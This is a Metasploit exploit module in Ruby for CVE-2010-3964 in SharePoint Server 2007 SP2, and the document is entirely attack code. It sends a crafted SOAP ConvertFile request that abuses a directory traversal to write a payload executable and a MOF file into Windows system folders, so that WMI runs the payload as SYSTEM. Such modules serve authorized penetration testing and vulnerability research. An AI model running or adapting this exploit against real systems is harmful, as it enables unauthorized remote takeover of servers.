Microsoft Office SharePoint Server 2007 Remote Code Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::EXE  
include Msf::Exploit::WbemExec  
  
def initialize  
super(  
'Name' => 'Microsoft Office SharePoint Server 2007 Remote Code Execution',  
'Description' => %q{  
This module exploits a vulnerability found in SharePoint Server 2007 SP2. The  
software contains a directory traversal, that allows a remote attacker to write  
arbitrary files to the filesystem, sending a specially crafted SOAP ConvertFile  
request to the Office Document Conversions Launcher Service, which results in code  
execution under the context of 'SYSTEM'.  
  
The module uses uses the Windows Management Instrumentation service to execute an  
arbitrary payload on vulnerable installations of SharePoint on Windows 2003 Servers.  
It has been successfully tested on Office SharePoint Server 2007 SP2 over Windows  
2003 SP2.  
},  
'Author' => [  
'Oleksandr Mirosh', # Vulnerability Discovery and PoC  
'James Burton', # Vulnerability analysis published at "Entomology: A Case Study of Rare and Interesting Bugs"  
'juan' # Metasploit module  
],  
'Platform' => 'win',  
'References' =>  
[  
[ 'CVE', '2010-3964' ],  
[ 'OSVDB', '69817' ],  
[ 'BID', '45264' ],  
[ 'MSB', 'MS10-104' ],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-287/' ]  
],  
'Targets' =>  
[  
[ 'Microsoft Office SharePoint Server 2007 SP2 / Microsoft Windows Server 2003 SP2', { } ],  
],  
'DefaultTarget' => 0,  
'Privileged' => true,  
'DisclosureDate' => 'Dec 14 2010'  
)  
  
register_options(  
[  
Opt::RPORT(8082),  
OptInt.new('DEPTH', [true, "Levels to reach base directory",7])  
], self.class)  
end  
  
# Msf::Exploit::Remote::HttpClient is avoided because send_request_cgi doesn't get  
# the response maybe due to the 100 (Continue) status response even when the Expect  
# header isn't included in the request.  
def upload_file(file_name, contents)  
  
traversal = "..\\" * datastore['DEPTH']  
  
soap_convert_file = "<SOAP-ENV:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" "  
soap_convert_file << "xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" "  
soap_convert_file << "xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\" "  
soap_convert_file << "xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" "  
soap_convert_file << "xmlns:clr=\"http://schemas.microsoft.com/soap/encoding/clr/1.0\" "  
soap_convert_file << "SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" << "\x0d\x0a"  
soap_convert_file << "<SOAP-ENV:Body>" << "\x0d\x0a"  
soap_convert_file << "<i2:ConvertFile id=\"ref-1\" "  
soap_convert_file << "xmlns:i2=\"http://schemas.microsoft.com/clr/nsassem/Microsoft.HtmlTrans.IDocumentConversionsLauncher/Microsoft.HtmlTrans.Interface\">" << "\x0d\x0a"  
soap_convert_file << "<launcherUri id=\"ref-3\">http://#{rhost}:8082/HtmlTrLauncher</launcherUri>" << "\x0d\x0a"  
soap_convert_file << "<appExe id=\"ref-4\"></appExe>" << "\x0d\x0a"  
soap_convert_file << "<convertFrom id=\"ref-5\">#{traversal}#{file_name}</convertFrom>" << "\x0d\x0a"  
soap_convert_file << "<convertTo id=\"ref-6\">html</convertTo>" << "\x0d\x0a"  
soap_convert_file << "<fileBits href=\"#ref-7\"/>" << "\x0d\x0a"  
soap_convert_file << "<taskName id=\"ref-8\">brochure_to_html</taskName>" << "\x0d\x0a"  
soap_convert_file << "<configInfo id=\"ref-9\"></configInfo>" << "\x0d\x0a"  
soap_convert_file << "<timeout>20</timeout>" << "\x0d\x0a"  
soap_convert_file << "<fReturnFileBits>true</fReturnFileBits>" << "\x0d\x0a"  
soap_convert_file << "</i2:ConvertFile>" << "\x0d\x0a"  
soap_convert_file << "<SOAP-ENC:Array id=\"ref-7\" xsi:type=\"SOAP-ENC:base64\">#{Rex::Text.encode_base64(contents)}</SOAP-ENC:Array>" << "\x0d\x0a"  
soap_convert_file << "</SOAP-ENV:Body>" << "\x0d\x0a"  
soap_convert_file << "</SOAP-ENV:Envelope>" << "\x0d\x0a"  
  
http_request = "POST /HtmlTrLauncher HTTP/1.1" << "\x0d\x0a"  
http_request << "User-Agent: Mozilla/4.0+(compatible; MSIE 6.0; Windows 5.2.3790.131072; MS .NET Remoting; MS .NET CLR 2.0.50727.42 )" << "\x0d\x0a"  
http_request << "Content-Type: text/xml; charset=\"utf-8\"" << "\x0d\x0a"  
http_request << "SOAPAction: \"http://schemas.microsoft.com/clr/nsassem/Microsoft.HtmlTrans.IDocumentConversionsLauncher/Microsoft.HtmlTrans.Interface#ConvertFile\"" << "\x0d\x0a"  
http_request << "Host: #{rhost}:#{rport}" << "\x0d\x0a"  
http_request << "Content-Length: #{soap_convert_file.length}" << "\x0d\x0a"  
http_request << "Connection: Keep-Alive" << "\x0d\x0a\x0d\x0a"  
  
connect  
sock.put(http_request << soap_convert_file)  
data = ""  
read_data = sock.get_once(-1, 1)  
while not read_data.nil?  
data << read_data  
read_data = sock.get_once(-1, 1)  
end  
disconnect  
return data  
end  
  
# The check tries to create a test file in the root  
def check  
  
peer = "#{rhost}:#{rport}"  
filename = rand_text_alpha(rand(10)+5) + '.txt'  
contents = rand_text_alpha(rand(10)+5)  
  
print_status("#{peer} - Sending HTTP ConvertFile Request to upload the test file #{filename}")  
res = upload_file(filename, contents)  
  
if res and res =~ /200 OK/ and res =~ /ConvertFileResponse/ and res =~ /<m_ce>CE_OTHER<\/m_ce>/  
return Exploit::CheckCode::Vulnerable  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
  
peer = "#{rhost}:#{rport}"  
  
# Setup the necessary files to do the wbemexec trick  
exe_name = rand_text_alpha(rand(10)+5) + '.exe'  
exe = generate_payload_exe  
mof_name = rand_text_alpha(rand(10)+5) + '.mof'  
mof = generate_mof(mof_name, exe_name)  
  
print_status("#{peer} - Sending HTTP ConvertFile Request to upload the exe payload #{exe_name}")  
res = upload_file("WINDOWS\\system32\\#{exe_name}", exe)  
if res and res =~ /200 OK/ and res =~ /ConvertFileResponse/ and res =~ /<m_ce>CE_OTHER<\/m_ce>/  
print_good("#{peer} - #{exe_name} uploaded successfully")  
else  
print_error("#{peer} - Failed to upload #{exe_name}")  
return  
end  
  
print_status("#{peer} - Sending HTTP ConvertFile Request to upload the mof file #{mof_name}")  
res = upload_file("WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)  
if res and res =~ /200 OK/ and res =~ /ConvertFileResponse/ and res =~ /<m_ce>CE_OTHER<\/m_ce>/  
print_good("#{peer} - #{mof_name} uploaded successfully")  
else  
print_error("#{peer} - Failed to upload #{mof_name}")  
return  
end  
  
end  
  
end  
  
`